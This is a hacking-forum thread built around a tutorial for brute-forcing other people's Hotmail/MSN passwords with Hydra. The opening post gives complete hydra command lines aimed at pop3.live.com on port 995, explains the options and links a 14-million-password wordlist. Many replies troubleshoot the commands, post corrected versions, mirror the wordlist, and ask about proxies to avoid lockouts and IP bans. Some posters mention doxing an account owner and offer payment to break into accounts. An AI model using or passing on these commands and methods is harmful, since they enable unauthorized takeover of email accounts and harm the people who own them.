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Thread: [\[TuT\] How to perform bruteforce/dict attack on Hotmail/MSN with Hydra \[Windows/Linux\]](#)

Conch - June 29, 2012, 6:40 am

Bruteforce your enemy and recover the password.

By Conch.

Hey Hackforums.

So, I guess you want to crack hotmail accounts? Well I'm here to show you.

Fed up of downloading bruteforcing applications? Ones that don't work? Or you're scared they may be backdoored?

Let's use a tool that is legitimate for breaking the security on logins.

This tool is called Hydra.

You can download it from..

<http://www.thc.org/thc-hydra/>

Because I use GNU/Linux, this tutorial will be based on Ubuntu 12.04.

Don't worry if you use Windows, the commands are pretty much the same.

Open a terminal and type...

Code `sudo apt-get install hydra`

If you prefer a GTK/GUI version.

Code `sudo apt-get install hydra-gtk`

Only the command line/terminal version is covered in this tutorial.

I want you to use less of GUI's, we are using Linux after all :)

Let's go!

So.. if you type..

Code `hydra`

You'll get a list of options to choose from,

We want to attack the SMTP - which is the mail server, for hotmail.

Because Hotmail runs on SSL connections, we need to specify the SSL port when attacking.

The full command looks like this..

Make sure you FIRST change to the wordlist directory, if you saved the 14 million pass to the Desktop..

Code `cd ~/Desktop`

Code `hydra -V -S -l Emailaddress@hotmail.com -P "14 million pass.txt" -e ns -o "Cracked!" -t 8 pop3.live.com pop3 -s 995`

These options mean...

Quote:hydra - We use the application name.

-V - This shows the output of passwords it checks, you can also add -Vv for extra verbosity [errors, warnings etc - Not really recommended, as it just floods the window]

-S - Use an SSL connection [Needed!]

-P The dictionary list we will use to attack the given Hotmail address [I will post a link to a 14 million wordlist, perfect for cracking!]

-e ns - try "n" null password, "s" login as pass

-o "Cracked" - Once the password has been cracked, it will store it in a nice file called "Cracked" [Note your directory!]

-t 8 - The number of tasks to use, 8 is fine, any more could cause too many passwords checking and overload the times it gets to check each individual password.

Server - Service - pop3.live.com pop3 - We want to use Hotmail's pop3 server with the service pop3!

-s 995 - This is the SSL port [Needed!]

Upon hitting enter, it should start cracking!

If you get errors, like timeout errors, re-check your terminal command, an error isn't because the bruteforce doesn't work, it just means there is something wrong with the command (Unless Hotmail put a security lock on!)

Here is a picture of me Cracking!

Here is the 14 million wordlist.

Code <http://www.mediafire.com/?1whma3u7aev3985>

If you want to resume the attack at a later day, use the command..

Code hydra -R

Not using this command will overwrite the recovery file and start from the beginning.

Hope you guys like.

Please, if you share this, give me credits :)

Warm Regards,
Conch.

Gardenhose - June 29, 2012, 7:06 am

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BuS. - June 29, 2012, 8:20 am

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Sorry can you please explain this more. Also am I the only one who cant find the download link on thc's page????

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xDARKFiRE - June 29, 2012, 11:08 am

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that's a linux command, hence why windows has no idea what it is

dzrt - July 5, 2012, 5:19 pm

I got this error:

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bash: !": event not found
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Betelguese - July 6, 2012, 2:51 pm

I have no idea how to download hydra. I have the link but i cant seem to get the program installed

Syperus - July 6, 2012, 3:14 pm

Download Cygwin and you will be able to install hydra on windows

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Betelguese - July 6, 2012, 3:21 pm

(Jul 6, 2012 03:14 PM)Syperus Wrote: [\[CITE\]](#) Download Cygwin and you will be able to install hydra on windows

I did download cygwin but i still cant install it lol. Im a noob

kwnocree - July 7, 2012, 9:40 am

It says me:

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bash: !": event not found
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Jesusisking - July 7, 2012, 2:55 pm

Cut the scan time down by using the rockyou list, if it's not there then stop burning electricity

Yugen - August 2, 2012, 5:10 am

Does anyone know why i am getting this error?

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bash: !": event not found
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JulioRoderig - August 2, 2012, 6:39 am

won't hotmail lock u out from too many tries on the same ip?

diegoubbs - August 3, 2012, 4:37 am

nice tut!

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Thanks

Conch - August 4, 2012, 1:37 pm

(Aug 3, 2012 04:37 AM)diegoub's Wrote: [\[CITE\]](#) nice tut!

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[S][e][x]TM - August 6, 2012, 6:48 am

If it tells you Bash: !": event not found then try deleting the " ' s and the !

When i do remove the ""s and ! and press enter it just re load the Hydra client, so it doesnt crack anything it just reload hydra (re opens it)

AK87 - August 6, 2012, 6:57 am

really nice tutorial . its helpful

thank you so much

skillzforme - August 7, 2012, 11:03 am

can i also use proxies while bruteforcing so can not be banned from the servers?

Sqkuid - August 7, 2012, 11:26 am

Nice tutorial bro! I WILL BE USING THIS SOMETIME!!!

skillzforme - August 7, 2012, 11:29 am

i am trying this now .. i checked the code and i fix some parts and it works like this : hydra -V -S -l email@hotmail.com -P dictionary.txt -e ns -o cracked.txt -t 8 pop3s://pop3.live.com:995

i put dictionary in the same directory as hydra.

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whether it is pop3 or smtp, There is a good chance that if it doesn't use proxies that you can have your ip banned

skillzforme - August 7, 2012, 11:38 am

you know how i can use a list of proxy with hydra ? not just a single proxy

Symantec - August 8, 2012, 5:56 pm

How do you install this on MAC OS X
It says it is compatible?

ch3micalburn3d - August 9, 2012, 10:17 pm

this is a great tutorial there mate. i will test this later, hopefully this is going to work

totombomb - August 9, 2012, 10:35 pm

Nice tutorial I am going to try this out

serialbather - September 24, 2012, 6:28 am

I am trying this command but the Hydra screen just reloads. anyone get it work successfully? (hydra works for me with other commands, so it is not a configuration issue on my system)

thehumangod1 - September 27, 2012, 6:39 am

This isn't working for me. I downloaded the the file and extracted it also and put sudo apt-get install hydra but it says Unable to locate package. Is there somewhere specific I'm supposed to put the file? Please help.

excition - September 27, 2012, 12:30 pm

Nice tutorial, thank you for this ! :)

Tawq - September 27, 2012, 1:38 pm

Going to try this

:) Looks promising but after so many attempts dont hotmail block that email?

crackboii - September 27, 2012, 6:15 pm

I've got it running, and it creates the file, except there is no password in the file when it creates it.. :/
it basically just shows the command I used.

ladss - September 27, 2012, 6:23 pm

Great tutorial. Have it running now. Any estimate on how long it usually takes? Thanks for this :)

Edit: I tested this on a test hotmail account. I created a separate word list and ran that, however it gave me 0 valid log-ins. There was one correct, and one incorrect pass. :S

Austerity - September 28, 2012, 5:47 am

wow really nice tutorial mean, very helpful. Thanks for sharing it !

sadmoon - September 28, 2012, 9:22 am

This tutorial, <https://hackforums.net/showthread.php?tid=2898138> will show you how to compile the hydra source code under ubuntu and cygwin, for everyone having problems.

Chaoskitten - October 1, 2012, 7:53 am

bruteforce is so facepalm, but works fine when there is no captcha :/ nice tut

crackboii - October 1, 2012, 6:01 pm

so after a certain amount of logins i guess it locks you out or something. i tested with 10 password list and it worked on an email of mine, but trying bigger lists doesn't work.. it just locks you out. for hotmail and yahoo at least. haven't tried any others. if anyone knows a way around this for hotmail emails let me know.

Superior1 - October 1, 2012, 6:42 pm

only thing here useful to me is the word list, thanks bro! :))

othben - November 8, 2012, 7:01 am

Thank you. for this, Conch. It really helped me :D

-Othben

S?do - November 8, 2012, 7:06 am

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asaggynoodle - November 8, 2012, 7:51 am

This is a great tutorial, i appreciate your effort in posting this! :)

helpwhydra - December 5, 2012, 3:33 am

Please, please, please tell me what output/server to use for gmail instead of hotmail

SIM-111414 - December 5, 2012, 4:00 am

awesome tut bro.

Thanks for sharing it.

Its really useful. :D

rcvrcv - December 5, 2012, 6:33 am

Thanks for the world list mostly, knew how to use hydra. But I have a few accounts I'm gonna try this on later, will report back.

Mumble - December 5, 2012, 6:55 am

Awesome tutorial mate. Well written :)

rcvrcv - December 5, 2012, 6:59 am

I will be hosting the world list on my site as soon as it comes back up. Gimme a minute, so people can just wget it instead of having to download the mediafire and sftp it onto their boxes. This of course doesn't affect cygwin people who can just get it off their desktop or whatever.

ProfitCoder - December 5, 2012, 7:21 am

Very nice tutorial;)

Thanks for the share

DukeRed - December 5, 2012, 7:49 am

Hydra... brings back memories. Very nice tutorial, easy to follow. Going to check all thread of yours. I hope all are HQ like this:D

rcvrcv - December 5, 2012, 8:11 am

Code <http://37.221.160.171/pass.txt>

heres 50% of them, I'll update more later. Too many hops and taking too long :D

DreamVII - December 5, 2012, 1:22 pm

Nice tutorial, I appreciate this very much, thanks! :)

Zonated - December 7, 2012, 4:14 pm

(Jul 5, 2012 05:19 PM)dzrt Wrote: [\[CITE\]](#) I got this error:

bash: !": event not found

I believe it either thinks that is a command..or doesn't want to save that in the file name.. Either way, just delete the "!" from the command line and it fixes the problem. :)

HR021 - January 7, 2013, 1:48 pm

Grate TUT!

Thanks a lot for this awesome presentation. ?

YTMS - January 7, 2013, 6:49 pm

idk if I downloaded off the right link!

could someone copy and paste the link?

zapfen - January 7, 2013, 10:08 pm

very nice tutorial :) detailed and HQ, Thanks!

pentest09 - January 8, 2013, 4:26 am

Hello guys,

Yes this does work, but the pass must be in your wordlist for it to brute force it. ie: #pass1234# must be in your list and it will recover it.

I tested on one of my test accounts and put the password in my wordlist it took 1min or so and spat it out.

command:

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hydra -V -S -l XXela@hotmail.co.uk -P "/root/yahoo_passes_sorted.txt" -e ns -o  
"/root/passwords/passes4.txt" -t 8 pop3.live.com pop3 -s 995
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Kind Regards Dee

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WHITESNAKE - January 8, 2013, 10:44 am

Very well written and described tutorial. I have saved it into a .txt file in case I would ever forget anything. I have tried to put 125 different passwords in one text file. One of those passwords would be my password, and I tried to brute-force my mail. It took under 10 seconds to hack it, so this was a huge success. Can't wait to try your huge 14 million password file, downloading now.

Have a nice day. ?

herrdeutschland - January 8, 2013, 11:19 am

thanks dude for this great tut ,it s nice and rare

thanks

narcissia - January 20, 2013, 3:58 pm

you make it sound eaaasy but for a beginner it really hard :/

Bigbawsz - February 3, 2013, 1:35 pm

Nice tutorial.

Thanks for this share.

Gudian - February 6, 2013, 7:14 am

I have a Error now. :(

I have renamed the list to "lol", because I thought that was the fail, but it wasnt.

Here is a screenshot:

[img]<http://img5.imageshack.us/img5/8972/dghdfgh.png>[/img]

chrisssvpn - February 6, 2013, 9:47 am

Thanks for this great tut. Well written and understandable!

Effexion - February 7, 2013, 1:39 am

I was wondering if someone could help me out here. After typing "Hydra" and getting all the text in the terminal I type:

Code cd ~/desktop

But it ust spits back the following:

Quote:effexion@linuxmint ~ \$ cd ~/desktop

bash: cd: /home/effexion/desktop: No such file or directory

effexion@linuxmint ~ \$

I am really interesed in learning this, but have fell at the first hurdle. I will be extremely grateful of any help.

Kind regards,

~Effex

Got this up and running. Testing it on oe of my old ones now. It is a dictionary word followed by 2 numbers. Thanks very much for the great tut.

mamboking - February 7, 2013, 11:36 pm

thank you i have tried it but im no good at ...can anyone just help me get my hotmail account back...

i will pay please pm me with price thank you

Anonymous911 - February 9, 2013, 2:34 pm

yeah, i'm willing to pay someone to recover a lost password to a hotmail address i created way back. private message me and i'll pay you through paypal if you can get it done.

narcissia - February 10, 2013, 8:45 am

can anyone help et a hotmail password, i've tried doxing the owner of the account but didn't help me get the account; RAT is impossible since the owner of the account doesn't accept files or links, so the only thing i'm left with is bruteforce, i just can't seem to do it on my own :/ anyone wants to help ?

FGedda - February 10, 2013, 12:06 pm

Thanks alot for the tut! Helped alot!
-FGedda

nikr0n - February 10, 2013, 1:00 pm

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Please tell me everybody saw that? It's honestly the funniest thing I have ever read. Nice tut btw

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II WoWoX II - February 10, 2013, 1:27 pm

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did you try it and did it work for you ?

FibroClan - February 10, 2013, 2:25 pm

this is cool
fuk 30 charss !!
cecececececececec

H4x0r666 - February 12, 2013, 12:04 pm

Does this still work? Because i thought you have to wait for some time after to many wrong passwords..

EDIT: I just found a perl script called brutus

dabear31 - February 14, 2013, 2:35 pm

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Ola

Same thing for me :(

Work with 16 words Max for me ... and More doesn't work

Fkn - February 16, 2013, 9:27 am

Great tutorial man. Thanks for the share :D!

albanjan - February 16, 2013, 11:45 am

Could you please help me to set it up on windows. I have downloaded Cygwin before and I followed

some of the tutorials to set it up, I put the hydra on desktop but it still doesn't work when i locate the file on cygwin, nothing comes up, it doesn't say error or file not found, it's just [ENTER] and then an empty line.

boris_the_blade - February 27, 2013, 3:03 pm

(Feb 14, 2013 03:35 PM)dabear31 Wrote: [\[CITE\]](#) Ola
Same thing for me :(

Work with 16 words Max for me ... and More doesn't work
that's why nobody is using email brute force attacks anymore..

bloodygrim - May 5, 2013, 12:28 pm

Worked with gmail, but not working with hotmail, smtp.live.com gives timeout and pop3 passes the password and does not recognize it is the correct one.

pikachu321 - May 5, 2013, 2:39 pm

very nice , thanks for info. keep up the good work.

--Alexander-- - May 9, 2013, 4:19 pm

thanks for this awesome TUT i hope hotmail servers don't block my IP after too many tries

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rename you txt file from lol to lol.txt

herrdeutschland - May 9, 2013, 5:08 pm

i hate to come by and not say thanks for a good tutorial ,thanks and keep up the good work
i worked with hydra very good tool ,but i liked it more in backtrack ,so i prefer it over windows

tang22 - May 11, 2013, 1:09 am

thanks for this man! needed this. :)

fazernero - May 17, 2013, 10:09 pm

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same to me! ?

it works only if i put the right password in the first 10 lines of the password list file otherway not..

Can someone tell me an alternative method to hack hotmail/msn/live email login?
please help!

codetosend - May 18, 2013, 7:24 am

Your site is harmful not gunna try to use method!

Timmetop - December 5, 2015, 1:46 am

It doesn't work for me?

It only say this:

McFREAK - December 5, 2015, 1:47 am

The only thing I really know how to brute force is minecraft accounts

GOD OF SARADOMIN - December 5, 2015, 3:01 am

wanted to ask him some question but my bas the OP is banned

Timmetop - December 5, 2015, 3:20 am

(Dec 5, 2015 04:01 AM)GOD OF SARADOMIN Wrote: [\[CITE\]](#) wanted to ask him some question but my bas the OP is banned

But maybe someone else does? =)

wubulaien - December 5, 2015, 8:42 am

(Dec 5, 2015 02:46 AM)Timmetop Wrote: [\[CITE\]](#) It doesn't work for me?

It only say this: You have to specify a file with option -o where the cracked email/password should be written to.

instaglen - December 5, 2015, 2:12 pm

Thanks for this, really informative and helpful!

Timmetop - December 6, 2015, 5:23 am

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